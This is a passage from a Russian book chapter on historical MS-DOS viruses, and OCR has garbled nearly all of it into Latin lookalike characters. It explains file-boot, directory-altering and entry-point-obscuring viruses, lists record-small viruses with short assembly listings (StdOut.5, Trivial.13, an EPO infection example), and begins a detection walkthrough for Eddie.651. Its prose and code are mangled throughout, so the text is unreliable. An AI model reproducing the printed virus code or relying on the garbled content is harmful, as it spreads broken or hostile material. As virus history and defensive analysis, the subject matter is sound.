H H K . Ho o 6p a 6o T H H K H  «M y > K C 'K O ii» H  -O K e H C K O lU  n O JIO B IIH O K  ycrpoeHbi II  

B e a y r  c e 6a  n0-pa3H0My. « \ l y a c c K O H »  o 6 p a 6 o T 4 iiK  p e a r n p y e T  Ha 3 a n y c K ii  

jn o o b ix  n p o rp a M M , B b in o jm a e M b ie  n p n  n o M o u in  4 > v h k u h h  4Bh n p e p b iB a - 

H iia  21h, h  n p o B c p a e T  h x  H a  B03M05KH0CTb 3apa>KenH a. Bcaea 3a s t u m  o h  

nocbiJiaeT (Bee 'iepe.3 t o  ace npepbiBaime «INT 21h») c B o e ii «noapyre» 
a a H H b ie  o  liO T e H U H a jib H O ii acepTBe. « > K c h c k h h >  o 6p a 6o TH H K , nojiyniiB 
3 T y  H H (J )o p M a m iio . B H e a p a e T  b  a c e p TB y  b h p v c h w h  k o a  -  j i h 6o ^M a jib M H - 

K a » ,  j i i i 6o  «a e B O H K y » .

06a 3 t h  K 0 M n 0 H e H T a  M oryT  p a c n p o c T p a H H T b c a  c  M a m H H b i H a  M a u iH H y  

B M e c T e  c  3 a p a jK e H H b iM H  4 > a iiJ ia M i i H e 3 a B H C H M 0  a p y r  o t  a p y r a .  Ho p a 3 - 

M H o a c e H H e  B H p y c a  n p o n 3 o f t a e T  T O J ib K O  b  t o m  c j i y q a e ,  e c jm  H a  K a K o f i - H H -  

6 y a b  M a m i iH e  o K a a c y T c a  3 a n y m e H H b iM i i  c p a 3 y  o 6 e  M o a n c J jH K a n H i i  B i i p y c a .  

r i0 3 T 0 M y ,  CC JIH  C M O T p e T b  c{)0 p .\ la jT b H 0 , H H  OaHH H 3  O T A e JIbH O  B 3 tfT b IX  K O M -  

n o H e H T Q B  B H p y c o M  H e  H B a a e T c a !
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! I o a p o 6 H ee TeopHK) h  npaKTHKV KO M iib ioTepH oro MoaejiHpoBaiiHH  

5KH3HH Mbi paCCMOTpHM B IlOCJie/IHeH I'JiaBe KlUiril.

3 .9 .3 . Q a iu i0 B 0 -3 a r p y 3 0 M H b ie  B u p y c w

O a H J i0 B 0 -3 a rp y 3 0 > m b ie  B H p y c H  -  o/in a h s  c .voxcubix  p a sH O B im H O C T eii  

K O M n b lO Te p H O H  «3 a p a 3 b l» . B o JIb lH H H C TB O  CJIOJKHOnOJIHM OpcJW blX B H p y 

c o B  c e p e z iH H b i9 0 -x  to / io b  X X  BeKa, B K Juon aH  OneHalf.3544, Kaczor.4444, 
Natas, Nutcracker, RDA.Fighter h  np o M H e, o r n o c H J in c b  h m c h h o  k  s t o h  

p a 3 H 0 B H flH 0 C Tii. B T e  B peM eH a y M e n n e  n a n n c a T b  n o /io o H b iii B H p y c  h b j ih -  

j io c b  n p H 3 H a K 0 M  H a H B b ic m e ii B H p y c o n n c a T e jib C K o ii  K B a Jin c^H K a n H H .

Co6cTBeHHO rOBOpH, eCJIH paCCMaTpHB3Tb «nOJIOBHHKH» TaKoro bh - 

pycH oro  «KeHTaBpa> no  or/iejibnocTH, t o  o h h  Hiinero ocooeHHoro co 6 o h  

He npeacTaB.THioT. T h iiii 'him h  4)aHJi0B0-3arpy30HHbiH BHpyc CTapTyeT 

KaK H3 <|)aHJIOB, TaK H 113 3arpy30MHbIX ceKTopoB /IHCKCT H BHHMeCTepOB. 

HaxoflKCb b  pesn/ieHTHOM c o c to h h h h . o h  nepexBaTbiBaeT npepbiBaHHH  

21h h  I3h , ojiaroflapn He My cnoco6eH HH(|JHnnpoBaTb KaK o6biUHbie n p o 

rpaMMbi, TaK i i  3arpy30HHbie 3anHcn z ih ckct.

Ca.vioe H H TepecH oe n  H eo6 u 'iH o e  b  4 )aiiJi0 B0 - 3a rp y 30HH bix B H p y cax  -  

3 T0  TO, K3KHM 0 6 pa3 0 M OHH, CTapTVH C HHCjffimipOBaHHOH flHCKeTbl, yM yfl-

pnioTCH b  /lajibH eiiiiieM  nepexBaTH Tb Taicace npepbiBaHHe 2 lh, Be;ib o h o  

cTaHOBHTCH aKTya.TbHbiM JiHuib n o c jie  H opM ajibH oro 3aeep iuennH  3arpy3- 

k i i  on ep am io H H o fi CHCTeMbi.

/I jih  Toro 'rroobi BbinojiHHTb 3Ty onepaunio, Tiin iraH M H  4>aH.ioBo-3a- 
rpy30H H bm  Biipyc, HHCTajuiHpyHCb b  *0TKycaHFibiii» (|>parMeHT onepaTHB- 

h o h  naMHTH, BMecTe c npepuBaH H eM  13h nepexBaTbiBaeT Tanace npepb iB a

HHe 8 (h j ih  ICh), reHepHpyeMoe chctcm h m m  TaiiM epoM  KOMnbioTepa n o  

yMOJiMaHHK) 18,2 pa3a b ceKyH ay. Tenepb B iip yc  n o jiyn a eT  B03M0>KH0cTb 

p e iy jr a p H o  <siip0CbinaTbCH>> h  npoBepHTb, He 3aBepm iiJiacb jih  3arpy3Ka 

onepaiiHOHHOH c h c tc m h  h  He n o p a  jih  nepexBaTbm aTb npepbiBaHHe 2 lh.
Apyraa, He MeHee HHTepecHan pasiiomiflnocTb 4)att ;i o bo - sarpv 30 hh u  x 

BiipycoB Boo6me He nepexBaTbiBaeT npepbiBaHHH 21h, ho TeM He M eHee  

Bee paBHO cnoco6Ha BHe/ipsiTboi b nporpaMMHbie 4)aii.ibi. Penb H/iex o bii- 
pycax ceMeftcTBa BootExe.

Pa6oTa TaKHX BiipycoB 0CH0BaHa Ha cjieay iom ux oocTonxejibCTBax. 

PacnpocTpaHeHHbie KOMnoHOBUiHKH 3arpy30MHbix Moayjieii M icro so ft  

Link h  B orland  TLin k  npn nocTpoem in  E X E -n po rp aM M  pesepBiipyioT  

nofl 3ar0Ji0B0K TaKoft nporpaMMbi 512 6aHTOB, Tor^a KaK riojiesnatt h h - 
4>opManHH 3aHHMaeT b s to m  (|)parMeHTe h h m to jkho Majiyio nacTb -  Bcero  

28 6aiiTOB. TaKHM 06pa30M, E X E -n po rpaM M a, creHepHpoBaHHaH s tiim ii 

KOMnOHOBUlHKaMH, CO/iep>KIIT BHVTpH flOCTaTOHHO OOJlbLlIVlO HCHCIlOJIb-
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30BaHHyK) o6jiacTb, 3 a n o jiH e H H V fo  H y jW M H , n p iiH e M  3Ta o 6 jia c rb  pacno;ia- 
ra e TC H  b  nepBOM o h c k o b o m  ceKTope c^aiiJia. Bnpycbi ceMeHCTBa B ootE xe  
cKamipyioT B ee CHHTbiBaeMMe c /rncKa ceicropbi Ha naJiiiHne b h h x  xapaK- 
TepHoii c n r H a T y p b i  'MZ' h  6o jib m o r o  KOJimecTBa H y jie ft. IIpH ycneuiHOM 

OOHapyjKCHHH OHH 3anHCUBaiOTCfl B TaKOH ceKTop, He 3a6wB MOflH(J)H- 
OHpoBaTb p a crio jio > K e H H b ie  b  H eM  H e o6x o ;iH M b ie  n o J in  EXE-3aro/ioBKa. 
B  pe3yjibTaTe nporpaMMa OKasbiBaeTCH 3apaaceHHOH, ho a m m a  ee ocTa- 
eTCH npoKHeii!

K  cHacThio, nporpaMM, npHco/iHbix n m  3apa>KeHiiH BootExe-B iipyca- 
m h , He TaK MHoro. KoMiioiroBiiiHKH nporpaMM, co3iiaBaeMbix cpejcTBaMH 

H3bIKOB BblCOKOrO VpOBHH THna C li HJIH riaCKajIH, He OCTaBJIH.au BHyTpH 

nporpaMM «flbip». Ecjih ace sto  npoiicxozuiJio, to  np0H3B0flHTeJiH npo- 
rpaMMHoro o6ecneiieiiHH ji,ih M S -D O S  npaKTH'iecKii Bceraa «ynaKOBbrea- 
jih » cboh nporpaMMbi yniJiHTaMH rana PkLite, LZE X E , diet, A inE X E  m .n .

OSpaTHTe B H H M a H H e : n o a o o H b ie  r e x H O jio r m i  H e y M e p jr n  B M ecTe  c M S -  
D O S , B X X I  B eK e O H II H CnO JIb3VIO TC H  II H e K O TO p b lM H  C O B pe M eH H b lM II 

fivTKHTa.vm!

3 .9 .4 .  B n p y c b i - « f lp a M B e p w »

PeHb HJIfiT 06 OMeHb CJIOaCHOH H  KpaCH BO H  p a 3 H Q B H H H 0 C TH  BHpVCOB, H C - 

n o Jib 3y io iU H X  m h  C B o e ii p a 6o T b i o c o 6e H H o c n i  (fia iljio B O H  c n c Te M b i FAT. 
H e 6y a e T  n p e y B e jiH H e H H e M  cK a 3 a Tb , h t o  a B T o p u  s t h x  B H p y c o B  -  h c k j i io -  

w r e j i b H O  c iu ib H b ie  c u c T e M H b ie  n p o r p a M M H c r a .

B u p y c  D ir-II.1024  (D rive r. 1024, D IR -10 24 ) 6 i>iji HanncaH b 1991 ro - 
ay npeanojioacHTeabHo Ha YKpaHHe, B ropoae JIbBOBe. O h He TojibKo bm- 
3BaJi MaccoByio annaeMHio b CTpaHax ObiBUiero C C C P  h bo BceM MHpe, 
ho h nopa3HJi Boo6paaceHiie BHpycojioroB cBoeft HecTanaapTHOCTbio. Oc- 
HOBHan Hjiea s to to  Biipyca -  Mo/uufwiuipoBaTb 3anncH o C O M - h E X E -  
(JmiJiax b KaTajiorax anc.Ka TaKHM o6pa30M, hto6m Bee ohh yKa3bmajiH 

B FAT-Ta6jnm e Ha o/wy h t v  ace uenoHKy ahckobhx KJiacTepoB. Pa3VMe- 
excH, 3to 6uJia uenoHKa, onHCbiBaiomaH MecTonojioxceuHe ejnincTBeHiioii 
npiic\TCTByiomeH Ha aHCKe (b  ero nocjieflHeM KJiacTepe) koiihh BHpyca. 
IIoaJIHHHaH HH4)OpMamiH O MeCTOnOJIOHCeHHH nporpaMMHblX ($>ailJI0B 

(ccbuiKH Ha F A T - T a 6j i H n y )  nepeMemajiacb b  Hencnojib3yeMbie o6jia- 
cth aanncen b Kaxa.iorax niicKa. H a x o z ia c b  b naMHTH pe3HfleHTHo ( 60- 
jiee Toro, no/i.vieHHH co6oii /ihckobhh apaiiBepI), Biipyc npn o6pameHHH 

K nporpaMMHbiM 4>aiiJiaM «Ha jieTy* KoppeKrapoBaji 3Ty HH^opManHra, 
CKpbiBan TaKHM o6pa30M o t nojib30BaTejiH CBoe npHcyTCTBiie.

Biipyc 3 A P A 3 A  n o H B H Jic n  Ha HecKOJibKO j i c t  no3ace, CHOBa ero aBTo- 
poM, CKopee Bcero, HB.ra.ficH H a m  co o TeH e cTB C H H i-iK . n CHOBa Ha BHpyco-
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j io r o B  n p o H 3 B e Jia  o rp o M H o e  B iie H a T.n e in ie  H e Tp H B H a jib H O C Tb  H c rio jib a o - 

B a H H o ii h a c h .  3 t o t  B H p y c  c o 3A a B a ji juia n p o rp a M M H o r o  cjraiiJia « I O . S Y S »  

(K o r o p b iH  b  n e p B y io  o n e p e A b  n o j iy v a e T  y u p a B J ie im e  b npouecc'.e  3arpy3KH 

o n e p a i^H O H H O H  c h c t c m m ) a b c  3a n n c H  b FAT-TaoJiHue. IlepBaa 3a n H C b , 

(pajibuiKBaa, VKaabiBaJia Ha BHpyc, h o  h m c h h o  OHa n o  yM om am im  npii- 
H H M a A a cb  b o  B H H M a n n e  3arpy3HHKOM onepannoHHoii c h c tc m m . CrapTo- 
B aB, B H p y c  B b in O A H H A  CBOH «6 0 J ie 3 H e T B 0 p H b ie »  A e H C TB H H  II  TO A b K O  nO C A e 

3T o r o  riep eA aB aJi y n p a B Jie H H e  o p H r iiH a jib H O M y  k o a v  (Jja iijia  « I O . S Y S » .  

K c 4 a c T b fo , o o .'ib iu o H  a m iA C M H H  s t o t  B H p y c  H e B bi3B aji, h o  « m o p o x y  H a - 

b c ji* . B i ip y c b i-A p a iiB e p b i  o n e p a ijH O H H O H  C H C TeM bi M S - D O S  n o c Jiy a c iu iH  

n p 0T 0T H i i0M  a jih  o q e iib  H e6o jib i iio r o  K O JiH 'ie cTB a  n o A p a a ca H H H  h  3 a K O - 

H O A a Te jiH M ii B H p y c o n n c a Te .ib c .K O H  m o a m  T a K  h  H e  C Ta jiH . C ju i iu k o m  y w  

CJIO/KHbl 6blJlH  H C n 0 A b 3 0 B a H H b ie  B H H X  Te X H O JIO TIlH .

3 .9 .5 . Bupycw c «HeH3secTH0H» tohkoh exofla
B noAaBJixiomeM oojibiuHHCTBe cJiynaeB Biipycbi, nojiynaiomHe ynpaBJie

HHe npn noMomu KOMaHA «J M P »  hah «C A L L » ,  AeJiaioT «Bpe3Ky» SToii 
KOMaHAbi b nepBMH 6aiiT nporpaMMbi-^acepTBbi^. C00TBeTCTBeHH0, 4>op- 
MajibHan TOHKa BXOAa b BHpyc b stom cjiynae coBnaAaeT c tohkoh BxoAa 
b nporpaM M y. Ho HeK0T0pbie Biipycbi yMeioT «Bpe3arbCH» b cepeAHHy 
4>aHJia «>KepTBbi» TaKHM 06pa30M, hto cua'iajia ynpaBAemie no.uyiaeT 
nporpaMMa-«yKepTBa», OHa HaqnnaeT HopMaAbHo BbinoAHHTbCH, bhmhc- 
JIHTeJIbHblH npouecc paHO HJIH n03AH0 AOXOAHT AO «3aMHHIip0BaHH0H» 
tohkh, h TOJibKO TorAa cTapTyeT  Biipyc. 3 to  -  nonbinca peajiH3anmi era- 
piiHHOH BHpyconncaTe/ibCKOH MeHTu: co3AaTb Heo6HapyacHMMH n hchc- 

ueAHMbrii B H p y c , «BpeAHbie» KOMaHAbi KOToporo hbjduotch OAHOBpeMeH- 
ho h «no.ne3HbiMH» KOMaHAaMH 3apaaceHHoii nporpaMMbi.

P a c c M O T p iiM  3 T y  Te x H O A O TH K ) (e e  H H o rA a  H a3U B a io T  E P O  -  E n t r y  

P o i n t  O b s c u r e d  h j i h  U E P  -  U n k n o w n  E n t r y  P o i n t )  Ha n p H M e p e  BHpyca 

Vpp.475. B o t  K aK  B b irjis A e A a  « A p o 3o c }) iu ia »  a o  3apaaceH HH , h  b o t K aK  OHa 

C TaJia  B b irJiH A e Tb  rioc/re:

; flo 3apa*eHHfi
0100 <oov ah, 9
0102 mnv dx, 108b
01C5 int 2lh
0107 mov ah, 4Ch
0109 int 21h
01 OB dd 'Hello world!$'

TiOCJlS 3303*&HU3 
0100 mov ah, 9
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0102 raov Ox,10Bh
0105 c a l l  117 ; "Bpesk.a" BHpyca
0108 db 4Ch
0109 Int 21 h
01 OB db 'Hello world!$'
0117 ... ; Haqa/io BHpycHoro Koaa

B n p o n e c c e  H ccjie / io B a H H H  n o T e H im a jib H O H  «> K e p T B b i»  BHpyc o6Hapy- 
JKHJI B H V T p H  H e e  H ecKO JibKO  BW30B0B n p e p b iB a H H H  2 1 h  (z [B y x 6a H TO B b ie  

c o n e T a H U H  « C D h  21 h >>), B b io p a ji H 3 h h x  c jiy H a iiH b iM  06p a 30M K a K o e -T O  

OUHO h  B C Ta B H Ji b  3T>: TO M K y  K O M a H ^ y  n e p e x o / ja  H a  n a 'ia jio  B H p y c H o ro  

K o ^ a .

H o  B e a b  6a iiT b i  < < C D h  2 1 h »  M orviH  n p H H aflJieaca Tb  H e  M a m iiH H o ii  k o -  

MaHZte « I N T  2 1 h » ,  a K a K O M y -n H o y / ib  n o jn o  a a im b ix !  B  s t o m  c.jiynae B iip y c  

T a K  H H K o ra a  i i  H e  n o / iy m .r i  6bi y n p a B Jie n w H . a n p o rp a M M a  0 K a 3 a ;ia cb  6bi 
i ic n o p n e H H O H . I I0 3 T 0 M V  jiy H iiie H  c T p a T e r n e if , c t o h k h  3 p e H H H  B H p y c a , M O T 

6bi c/iya cH Tb  noiicK n o ;ix o / iH iu e H  t o h k h  /ijih  «B p e 3 K H «- n p u  n o M o m ii  n p e a -  

B a p H Te .n b H O H  a n n a p a T H o ii  TpaccnpoBKH T e jia  noTeHunajibHOH «2cepTBhi». 
14 T a K n e  BHpycbi a e iic T B H T e jib H O  H M e io TC H , H a n p iiM e p  n p e ,a cTa B H Te jTH  c e - 

M e iic T B a  Emmie.
«3apa3y » n o/ iou H oro  p o jia  n p o m e  B cero  oonapyjKHBaTb, CKam ipvH  

« x b o c t »  i^rdii.Td. H y  a e c jin  T e jio  B iip yca  3auiH(J)poBaHo, t o  aHTHBHpycy He 

0 CTaeTCH HHMero H H oro, K poM e KaK TpacciipoB aTb  n p o rp aM M y (a n n a p a ra o  

h jih  n p n  n oM on iH  aMy.HHTopa), oopam an  o c o o o e  BHHMaHiie Ha KOMaH/ibi 

«fla./ieKHX» n ep exo ^ o B .

3 .9 .6 . CaMbivi MajieHbKMM Biipyc
B o n p o c  o  « caM O M  M a jieH bK O M  B i ip y c e »  ; io  c i ix  n o p  o x o t h o  o 6c y a y ia e TC fl 

B pa3JIH M H bIX  KO H CjjepeH H IIH X H  C^OpV'MaX- y .M eilH e  H a n n c a T b  K p o x o r a y io  

caM O p a .3 m h o > tca io m yw ca  n p o rp a M M y  c jiv > k h t  K p H T e p n e M  n p o rp a M M H C T - 

CKOH K B a .TH C ^IIK a n H H . C  /laBHH X n o p  npO B O flH TCH  B C e M Iip H b ie  K O H K yp C b l Ha 

c a M y io  o a n y x a H H y i o *  n p o r p a M M y  Ha H3biKe C h  ( I O C C C  -  In t e r n a t io n a l  

O b f u s c a t e d  C  C o d e  C o n t e s t )  n  H a  c a M y io  K p a c iiB y io  « / ie M K y »  M H H H M a jib - 

Horo p a 3M e p a  ( 4 K  I n t r o ) .  Tohho Ta K  w e  c y iy e c T B y e T  h  H e o (|)H H H ajibH W H  

K O H K y p c  H a  ca M b iH  M a Jie H bK H H  B iip y c .  Y M a cTB O B a Tb  b  H eM  H e 6 p e 3 r y io T  h  

B iip y c o j io r H .  B o t  o j ih h  H3 p a H H iix  S Ta n o B  (H a n a jio -c e p e a H H a  90-x t o ^ o b  

X X  B e K a ) n p o B e jje H H H  s t o t o  K O H K v p c a . O Tpaa ceH H biii b  B iip y c H O M  c n p a -  

B O H H H K e J l .  H .  J l0 3 H H C K 0 r 0 :

M ini-145. 3apaxaeT To/ibxo COM, pe3Mfl,eHTHbifi. Cae/iaH xioBO/ibHo 
naoGperaTe/ibHo, hopeKopp,onuHbi, k KoropoMy ubho crpeMMTcn aa- 
rop, ne noduT.
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M in i-150, -146, -145. Eme tph  Bnpyca, ho-bhahmomy, roroxeasro - 
pa. flaa  Bnpyca M ini-145 mmioTCfi coBepujeHHO pa3/iHHHbiMH, xora 
b nporoKone Hepa3/iHHHMbi.

AT-144. 3 a p a xa e r TonbKo COM, pe3meHTHbtH. C o A e p x m  napy  
KOMaHfl,, Koropbix H er b npoueccope 8088, b cb(I3h c vew He jjo ji-  
xeH paSoraTb na PC-XT. HanncaH vbho cnocoSHbiM nporpaMMUcroM  
b pacnere na n o 6 m m  pexopfla wiwHbt Bnpyca. JJo/VKeH, oahsko, 
ero paaonapoBarb  -  ecrt 6 onra p cm ti anpyc, HMeiotUHH flnuHy 133, 
n pm eM  6e3 PUSHA. flp m e M  ero aBrop oTJiHHaerca h 6ofibtueti no- 
PHAOHHOCTblO -  3TOT BHpyc CymeCTByeT TO/lbKO B KOnneKU,tAflX BMpy-
conoroB .

M ini-143. 3apaxaer TO/ibKO COM, 8 nanane Koropbix ctoht KOManfla 
JMP.

M ini-140. He padoraeT na 8088.

AT-132. ripocro BenmonenHo!

M ini-127. 3apaxaer TO/ibKO COM, pe3H/jeHTHbiH. BesHaAexHO nop- 
tht Bee 3apaxaeMbie nporpaMMbi, ecnn Mamma HMeer naMHTb 
512 K6 huh M eHbUie.

Mini-122, -128, -129, -130, -131, -132, -137... 3apa>KaiOT TO/ibKO 
COM, pe3M£eHTHbie.

Micro-92. 3apaxaer TonbKo COM, pe3HAeHTHbiH. Hanncan yahbh- 
TeJlbHO H3HIUH0. 0C06eHH0 npHHTHO, HTO npMCJiafl MHe ero H3 CaHKT- 
nerepdypra caM aarop -  ConoBbeB Mnxan/i AHaromeBHH, npnneM 
rapaHTHpoBan, hto pacnpocTpanaTbca oh He 6yAer. B Aidstest oh 
BK/llOHeH JIHUJb 8 KBHeCTBe yKpaUieHHd KOJl/ieKLtHM.

Micro-66. 3 a p a xa e r TO/ibKO COM, pe3HAeHTHbin. 9 to, KOHenHO, ne- 
bo3moxho, ho Mropb flaHunoB cyMen ero cAenarb! EcTb eme w 86, 
80, 76, ho Ha CBodoAe hm He ry/idTb, noaroMy b Aidstest BcraeneH 
TO/ibKO reKymHH peKopA. Mne Kaxerca, hto ero no6mb HeBosmoxcho, 
ho...

Micro-60. 3apaxaer TO/ibKO COM, pe3HAeHTHbin. Abtop J.Jmhtphh 
Ky6oB.

Micro-59. 3apaxaer TonbKo COM, pesuaeHTHbiti. PeKopA, ho »  yxe  
He pewatocb yreepxAaTb, hto ero He no6btoT...



178 ❖ CDaPiAQBbie Bupycbi a MS-DOS

Ha caMOM aejie, kohbhho ace, cjie,zioBajio 6w pas/ie/iHTb s to t  «KOHKypc.» 
Ha HCCKOJIbKO He3aBHCHMbIX H peniCTpHpOBaTb peKOpAbl B paaJIHMHbIX 
«HOMHHaiIHHX». B o T  KaK (no M O H M  CBefleHHHM) 06CT0HT CH T y a q H H  c pe- 
K O p a a M H  H a  M O M e H T  HanilcaHHH 3THX CTpOK.

«CaMbIH-CaMbIH-CaMbIH» KOpOTKIIH <<BHpy(» COCTOHT B cero  113 04H0II 
MamiiHHOH KOMaHAbi «M OVSB» /uuinoii 1 (o / ih h ) 6aiiT. 3 to t  «B H pyc» 

co3^aeT cbok) Konmo b onepaTHBHoii naMHTH, ecjin nepea BbinojraeHHeM 

Ha Hero yica3biBaJia peniCTpoBan napa DS:SI.
Bnpyc Trojan.Kyjak.4. CaMan MaJieubKan nporpaMMa, cnocoonaH 

« c 6pOCHTb» CBOH KO/l B CJIJ-'HailHblH CeKTop ZlHCKeTbl HJIH BIlHMCCTCpa. 
C octoh t OHa Bcero H3 4 (neTbipex) 6aiiTOB.

BHpyc Trojan.StdOut.5. CaMan MaJieHbKan nporpaMMa, cnocooHan 

co3aaTb cbok) Konmo b BiifleonaMHra (h, c00TBeTCTBeHH0, Ha SKpaHe). 
OHa co c t o h t  Bcero H3 5 (m r r a ) 6aftTOB h  noJiyrHHJia H3BecTHOcTb ojia- 
roaapH ranepTeKC TO B O M y BupycHOMy KaTaJiory AVPVE E. Kacnep- 
CKoro:

95 xchg ax,bp
8BD6 mov dx.si
CD21 int 2ln

Trivial. 13. C a M a n  M ajieHbKan COM-nporpaM.\ia, cn oco6H ah  3araicaTb 

CCOH B flHCKOBMH (Jjailjl ( c  «HeyflOOOnpOII3HOCHMbIM»- HMCHeM), COCTOHT 

B cero  H3 13 (TpiinaAHaTii) 6airroB. E. K a c n e p c K H H  h h  3a hto h  hhkoitm 

He co3HaeTCH b ee  aBTopcTBe, x o th  Bee KocBeHHbie y jiH KH  h  noKa3aHHH 

CBH^eTe.ieii stoto «K ou iM a p H oro  npecryn jieH H H ^ He/iBycM bicjienno yKa- 

3biBaiOT Ha H ero.

350Q3C xcr ax.ScOOh
41 me cx
87F2 xchg si.dx
CD21 mt 21h
93 xchg ax, bx
B440 mov ah.40"
CD21 int 21n

BnponeM, caM E. KacnepcKHH He cKpbiBaeT, h to  no KpaHHeii Mepe oahh  

BHpyc eMy naiiHcaTb npnui.nocb... mKo.ibHbiM mcjiom Ha ay/urropHOH ;io- 

CKe. He HCKJHoneHo, h to  s to  h 6un Trivial. 13. C top oh h h kh  TeopHii « b h - 

pycojioroB-Bpe/orrejieH », ay! BoTBaM h eme oshh  «apryM ein>! He MeHee 

HflHOTCKHH, neM BCe OCTa/IbHbie.

Companion.36 -  caMbiii MajieHbKiiii BHpyc -  «cn yT H H K ».

Tiny.53 -  caM biii MaJieHbKHH pe3ii/ieHTHbiH B iipyc .

Mini.60 -  caMbiii MaJieHbKHH HepeaH/ieHTiibiii BHpyc.
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B e e  Tener, Bee H SM eiw exca . BojibuiHHCTBo t s k h x  «MHKpc>BHpycoB» n n - 

cajiHCb c opn eH Tam ie ft Ha K O H K perau e  n p o n e c c o p w  h  BepcHH onepauH - 

OHHUX CHCTeM. I l 0C T e n e H H 0 OHH TepaiO T Cn0 C0 6 H0 CTb K pa3MHOaceHHK>. 

M cKpeH H e Hafleiocb, h to  apecTOBbreaxb h  «ca acan > » h x  aBTopoB h h k to  He 

coS n paercH .

3.10. rioApo6HbiCi npnMep o6Hapy>KeHi/m, 
3HaAM3a M yAaA6HM51

. .S I  m e 6 a ,  c m a p u K a u ie m y  M o e io ,  e w ie v y ,  n a  

h o iu  n o c m a e .n o ,  e m o d u  e b ie e d y ...

A. m B. CTpyraijKHe.

B KanecTBe K O H K peraoro  n p iiM epa  paccM O TpiiM  n p o u e a y p y  o6H apyace- 

h h h , H3yHeHHH h  H eHTpajxH3am iii BH pyca Eddie.651.a, y n o M H iiy xo ro  em e 

b « KoM nbfQ TepH oii B iip yco.xorH H * H . H. Be3pyKOBa rroa ;iacKorsHM n p o - 

3Bnm eM  «3 ,z ih k ».  3 t o t  CTapHHHbift (n pH M epH o Koima 80-x ro floB  XX Be

K a ) B u pyc KpaHHe npocT, h o  b t o  ace BpeMH co/jepacHT b ce6 e  6 0 JibEHiHCTB0 

npneMOB, pacTHpaacHpoBaHHbix B nocjieacTB H ii b Tb icnnax ro p a 3 # o  oo.xee 

no3flHiix pa3paooTOK. H a 4e\i ace em e  orraHHBaTb B iip y c o j io r y  M acTep- 

c tb o , KaK He Ha KJiacciinecKHX oop a 3 u ax?

3 .1 0 .1 . C n o c o 6 u  o6HapyxeHifsi m Bbifle/ieHMn BHpyca
B HMCTOM BMfle

B  Te BpeMeHa, Kor\aa « 3 fliiK» hmcji xoamemie, n0Jib30BaTe.™ 6bi.ra eme 

cpaBHHTejibHO Majio ocBeaoMJienbi o -sriOBa/iKax»- BiipycoB, He HMe.xn 

cnemiaiibHbix cpezic'TB jvva o6HapyaceHHH « 3apa3bi» h oubihho npocTo He 

3aMCMaJIH Toro, HTO HX KOMnblOTep HH(f)HHIipOBaH. TOJibKO BecbMa BHH- 
MaTe/ibHbiii n0^b30BaTejib mot o6paTHTb BHiiMairoe Ha c.xe/ivromne chm- 

rTTOMbl.'
O  HeKOTOpbie nporpaM M bi (H anpH M ep, cncTeM Han VTH/mxa 

«C H K D S K » ) ,  paH ee pa6oTaBiiiHe H0 pMa;ibH0 , Tenepb npH 3ariyc- 
Ke nauH iiajiH  «aBHcaTb>>;

O  b cm-icKe 4);ihjiob, nojiyHeHHOM npn noMoimi KOManzibi «D IR » ,  hh- 
KaKHx noflospHTeJibHbix npHpameHHH hx a.xiiH He na6;iro;ia,T0Cb, 
3a HCKjnoHenHeM o'lenb pe,XKiix cjiynaeB, Koraa pa3Mepw OTfle.nb- 
Hbix nporpaMMHbix cJjailxoB B/ipyr «BbipacTa.m» b ijecHTKH h cothh  

twchh pa3:
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FORMAT COM 50 071 05.05.99 22:22
MODE COM 29 911 05.05.99 22:22
MORE COM 10 503 05.05.99 22:22
DEBUG EXE 20 874 05.05.99 22:22
ASK COM 4294967218 30.10.89 22:41 «rnrawTCKafl* nporpaMMa

K  cnacTbio, coBpeMeHHMH n0Jib30BaTe^b oneH b j ic ik o  m o k c t  o6H a- 

pyjKHTb nporpaM M bi, 3apa>KeiiHbie aKTHBHbm 4)atfjioBbiM  B iip ycoM , b o c - 

n0Jib30BaBmnc.b aHTHBHpycoM -peBH3opoM  (H anpH M ep, nporpaM M oft 

A d ln f). TaKH e aH TH B iipycw  OTC.aeauiBaroT Bee n o ao sp iiT e jib H b ie  H3MeHe- 

h h h , n p o iic x o flH m iie  Ha flHCKe KOMnbioTepa: yBe;u i'ieH H H  h  yM eHM iiein iM  

flJIHH npOrpaMMHblX (JjafclOB, HCKaaceHHfl HX KOHTpOJIbHbIX CyMM, H3- 

MeneHHM BpeMeH h  aaT  co3aaH iia , Mo.aH(|)HKau,Hfo co^epacH M oro  3 arp y- 

30h h m x  ceK TopoB  i i  t . n . H a  MauiHHe, 3apaaceHHoii « 3 ;ih k o m » ,  A d ln f 6e3 

iip o o jie M  ooH apyjKH T:

O HeBHfliiMoe aocejie «neBoopya«;HHMM» r;ia30M npupameHHe .hjihh 

3apa>KeHHbix nporpaMMHbix (\m \jion  (KaK .C O M , TaK h .E X E ) na 
651 oa iiT ;

O flOBOJibHO CTpamiyio MeTKy BpeMeHH co.3/iaHiia ,3th x  ^aftjioB -- 
«62 ceKyn/ibi!>.

yaooHee Bcero HaHHHaTb anajiH.3 Biipyca, 3apa3iiB iim cnennajibHo no/i- 
roTOB.aeHHyro f l jm  stoh  nejin nporpaMMy. B OTe’iecTBeHHOH BHpycojiorun 
3a tekhmh nporpaMMaMH 3aKpemiJiocb HaHMeHOBaHHe <sdpo3o<pwia», 3a 

py6eacoM »e ohiryer xepwiiH «goat> (anrvi. -  «6 apan »). B  o6meM cjiyqae, 
b pojiH «;ipo3c>4>nJibi» MoaceT BbiCTynaTb ,aa;ieKO He BCHKaa nporpaMMa:

O  OHa ZIOJI/KHa 6bITb CpaBHHTCJIbHO MaJieHbKOH, HO He CJIHIHKOM, h 6 o  

HeKOTOpbie Bupycbi OTKa3biBaK)TCH sapaacarb ^Mejio'n^;
O  >KejiaTejibHO, mto6h  ;uiima ee Bbipaacajiacb «kp\tjimm» hhcjiom, 

;ia6bi jiei’KO 6bmo o6HapyacnTb «na  r;ia3» npnpameHiie stoh  zuniHbi;
O  CTpyKTypa ee KOfla flOJiacHa obiTb oanopoziHOH ii peryjiHpHoii, hto - 

6bi ,ierKO 6mjio o6Hapyacirrb «Ha raa3» BHe/ipenHH m iopojuoro
KOiia BHVTpb;

O  tcm He MeHee nporpaMMa, cnjiouib cocToamaa 113 0;iHHaK0Bbix 6an- 
tob (HanpiiMep, H3 6aiiTOB co snaMeHiiHMii 90h -  Koaa.MH KOMannbi 
« N O P » ) ,  Heace.iaTe^bHa, nocKOJibKy HeKOTOpbie Bupycw cnoco6- 
Hbi o6HapyacHBaTb h.xwllihioio «peryjiflpH0CTb>> h He 3apaacaTb 

TaKiie nporpaMMbi.

